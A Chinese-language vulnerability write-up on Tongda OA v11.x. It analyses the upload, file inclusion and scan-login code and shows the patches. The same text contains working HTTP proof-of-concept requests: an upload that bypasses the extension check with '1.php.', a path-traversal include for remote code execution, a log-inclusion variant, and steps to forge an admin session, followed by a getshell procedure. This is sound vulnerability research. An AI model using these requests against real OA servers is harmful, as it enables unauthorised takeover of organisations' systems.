Abstract
今年通达爆出了两个大漏洞,一个是文件包含+任意文件上传导致RCE、另一个是任意用户登陆,这两个都是前台直接可以打的大漏洞。
影响范围
- 任意文件上传
v11.3
2017
2016
2015
2013 增强版
2013
- 文件包含
V11.3
2017
- 任意用户登陆
2017
v11.x < v11.5 支持扫码登录版本。
环境搭建
我这里用的是v11.3 For Windows版,下载下来之后是一个EXE文件,然后安装就好了,但是源码部分是经过Zend5.4加密过的,需要手工去解密
漏洞分析
任意文件上传
网上流传的POC是ispirit/im/upload.php
这个路径,应该是这个文件出现了问题,跟进看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
set_time_limit(0); $P = $_POST["P"]; if (isset($P) || ($P != "")) { ob_start(); include_once "inc/session.php"; session_id($P); session_start(); session_write_close(); } else { include_once "./auth.php"; }
|
代码里只是简简单单的判断了POST数据中存不存在$P
,如果存在且不为空就注册一个Session,否则返回未登录的授权信息。只要简单传入一个P=qwer
就能绕过验证
绕过最初的校验之后继续往下走。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| ob_end_clean(); $TYPE = $_POST["TYPE"]; $DEST_UID = $_POST["DEST_UID"]; $dataBack = array(); if (($DEST_UID != "") && ! td_verify_ids($ids)) { $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效")); echo json_encode(data2utf8($dataBack)); exit(); }
if (strpos($DEST_UID, ",") !== false) { } else { $DEST_UID = intval($DEST_UID); }
if ($DEST_UID == 0) { if ($UPLOAD_MODE != 2) { $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效")); echo json_encode(data2utf8($dataBack)); exit(); } }
|
👆这一段从POST数据中拿出了TYPE和DEST_UID。假如UID为空就会返回接收方ID无效
并退出;假如UID值为0且MODE不为2,也会返回接收方ID无效
并退出。这里也容易绕过,继续往下走
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $MODULE = "im";
if (1 <= count($_FILES)) { if ($UPLOAD_MODE == "1") { if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) { $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]); } }
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);
if (!is_array($ATTACHMENTS)) { $dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS); echo json_encode(data2utf8($dataBack)); exit(); }
|
先是判断文件上传的参数数量不小于1且MODE为1,就去拿ATTACHMENT
字段的name
值作为文件名,调用upload()方法,跟进一下这个方法inc/utility_file.php:upload
这个方法负责上传文件,然后对一些文件参数进行判断校验。其中调用了is_uploadable()
对文件类型进行判断。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function is_uploadable($FILE_NAME) { $POS = strrpos($FILE_NAME, ".");
if ($POS === false) { $EXT_NAME = $FILE_NAME; } else { if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") { return false; }
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1)); } ...
|
值得一提的是这种通过.
来截取文件类型进行判断的方法,在Windows系统可以通过.php.
的方式进行Bypass。既然能够上传文件,但是也需要服务端将路径给返回,继续往下走
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| if ($UPLOAD_MODE == "1") { if (is_thumbable($ATTACHMENT_NAME)) { $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE); $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME; CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH); }
$P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0); $MSG_CATE = $_POST["MSG_CATE"];
if ($MSG_CATE == "file") { $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]"; } else if ($MSG_CATE == "image") { $CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]"; } else { $DURATION = intval($DURATION); $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]"; } ... $dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID); echo json_encode(data2utf8($dataBack)); exit();
|
会调用attach_real_path()去创建文件,然后会在后面的if语句中将ATTACHMENT_ID输出,跟进这个函数
调用attach_id_explode()
对这个ATTACHMENT_ID进行拆解,然后拿到真正的ID和YM在后面进行路径拼接。所以我们只要搞清楚拆解过程,就能拿到文件上传后的路径了。
路径 = /attach/im/$YM/$ID+filename
跟进函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| function attach_id_explode($ATTACHMENT_ID) { $AID = 0; $POS = strpos($ATTACHMENT_ID, "@");
if ($POS !== false) { $AID = intval(substr($ATTACHMENT_ID, 0, $POS)); $ATTACHMENT_ID = substr($ATTACHMENT_ID, $POS + 1); }
$YM = ""; $POS = strpos($ATTACHMENT_ID, "_");
if ($POS !== false) { $YM_TMP = substr($ATTACHMENT_ID, 0, $POS); $ATTACHMENT_ID_TMP = substr($ATTACHMENT_ID, $POS + 1); if ((strlen($YM_TMP) == 4) && is_numeric($YM_TMP)) { $YM = $YM_TMP; $ATTACHMENT_ID = $ATTACHMENT_ID_TMP; } }
$SIGN_KEY = ""; $POS = strpos($ATTACHMENT_ID, ".");
if ($POS !== false) { $SIGN_KEY_TMP = substr($ATTACHMENT_ID, $POS + 1); $ATTACHMENT_ID_TMP = substr($ATTACHMENT_ID, 0, $POS); if (is_numeric($SIGN_KEY_TMP) && is_numeric($ATTACHMENT_ID_TMP)) { $SIGN_KEY = $SIGN_KEY_TMP; $ATTACHMENT_ID = $ATTACHMENT_ID_TMP; } }
return array("AID" => $AID, "ATTACHMENT_ID" => $ATTACHMENT_ID, "YM" => $YM, "SIGN_KEY" => $SIGN_KEY); }
|
首先对@
截取拿到后面的数据,然后对_
进行截断,左边的数据作为$YM
;另一部分的数据对.
进行截断,左边的数据作为ID,结案了。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.1.18:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Connection: close Content-Length: 497
------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE"
2 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P"
qwer ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID"
1 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT"; filename="1.php." Content-Type: image/jpeg
<?php echo 123; ?> ------WebKitFormBoundarypyfBh1YB4pV8McGB--
|
返回信息如下:
所以可以拿到路径:\attach\im\2005\2138192020.1.php
但是这个目录处于Web目录之外,所以没有办法直接访问,只能跨目录去包含它来达到RCE
文件包含
这个POC出现的路径是ispirit/interface/gateway.php
,跟进看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| if ($json) { $json = stripcslashes($json); $json = (array) json_decode($json);
foreach ($json as $key => $val ) { if ($key == "data") { $val = (array) $val;
foreach ($val as $keys => $value ) { $keys = $value; } }
if ($key == "url") { $url = $val; } }
if ($url != "") { if (substr($url, 0, 1) == "/") { $url = substr($url, 1); }
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) { include_once $url; } }
|
比较简单的逻辑了,就是遍历Json数据,然后拿到url对应的Values,假如存在general
或ispirit
或module
就去包含文件,所以只要绕过这条限制就能成功RCE了。
1 2 3 4 5 6 7 8 9 10
| POST /ispirit/interface/gateway.php HTTP/1.1 Host: 192.168.1.18:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 67
json={"url":"qqqispirit/../../attach/im/2005/2138192020.1.php"}
|
这种文件上传+文件包含的方式能够达到RCE,还有一种包含access.log文件的方法,也能直接getshell
1
| json={"url":"ispirit/../../../../nginx/logs/oa.access.log"}
|
另外提一点,因为Response Header返回的charset=gbk,所以在连菜刀的时候需要指定编码为GBK
任意用户登录
漏洞复现
这里覆盖安装了v11.4版本的OA
1.首先访问路径:/general/login_code.php
服务端给我们返回了张图片,但是数据最末端是一个code_uid
2.然后带着这个uid去访问路径:logincheck_code.php
伪造身份UID=1,然后服务端返回了一个sessionID,这个就是我们要的
3.验证这个Cookie,带着访问后台地址/general/index.php
漏洞分析
跟进/general/login_code.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| $codeuid = $_GET["codeuid"]; $login_codeuid = Td::get_cache("CODE_LOGIN" . $codeuid); $tempArr = array(); $login_codeuid = (preg_match_all("/[^a-zA-Z0-9-{}\/]+/", $login_codeuid, $tempArr) ? "" : $login_codeuid);
if (empty($login_codeuid)) { $login_codeuid = getUniqid(); } ....... Td::set_cache("CODE_LOGIN" . $login_codeuid, $login_codeuid, 120); $databacks = array("status" => 1, "code_uid" => $login_codeuid); echo json_encode(Td_iconv($databacks, MYOA_CHARSET, "utf-8")); echo "\r\n\r\n\r\n";
|
根据传入的codeuid从缓存中取出CODE_LOGIN的值,假如缓存中没有该值,就随机生成一个codeid,并且在最后面写入缓存,同时以Json的形式输出。所以我们不带任何uid访问该文件,服务端返回一个codeid,然后跟进logincheck_code.php
从POST中拿到UID和CODEUID,然后在缓存中查找CODEUID对应的值,好在上一步请求中有将这个值写入缓存,所以这里能够直接通过判断条件。在后面的Sql语句中,直接将传入的UID拼接在后面,语句执行结果中的UID传给$UID,然后写入session。这个UID是可控的,我们令其等于1代表admin身份权限,这样就能够伪造任意用户登录了。
顺便提一句,在v11.3版本logincheck_code.php并没有对缓存进行判断,所以说只要指定uid=1,就能轻易伪造admin拿到cookie
GetShell
- 登录系统之后打开
系统管理=>系统参数设置
,拿到网站的绝对路径
- 接着打开
系统设置=>附件设置=>存储目录管理
,新建一条规则,将目录设置为Webroot目录
【注】:如果有拦截webroot,在Windows平台可以WebRoot大写绕过
- 选择
组织=>管理员=>附件上传
,然后上传一个1.txt
,抓包改为1.php.
拿到回显值1
| {"id":"252@2005_448242228,","name":"1.php.*","url":"\/inc\/attach.php?AID=252&MODULE=im&YM=2005&ATTACHMENT_ID=-995096377&ATTACHMENT_NAME=1.php.","thumb":null,"link":"","icon":"\/static\/images\/file_type\/defaut.gif","state":"SUCCESS"}
|
与之前一样,url即为/im/2005/448242228.1.php
漏洞修复
对于文件包含的修复,添加了以下代码:
1 2 3 4
| if (strpos($url, "..") !== false) { echo _("ERROR URL"); exit(); }
|
url中不能出现绝对路径,也就不能跨目录了。
对于任意用户登录这,我们看补丁一:logincheck_code.php
从Redis中取出UID,而且在后面判断UID不允许为0
补丁二:\general\login_code_scan.php
将SessionID带入数据库中查询,假如没有记录就直接退出。
Reference
https://xz.aliyun.com/t/7704
https://www.freebuf.com/column/230871.html
https://xz.aliyun.com/t/7704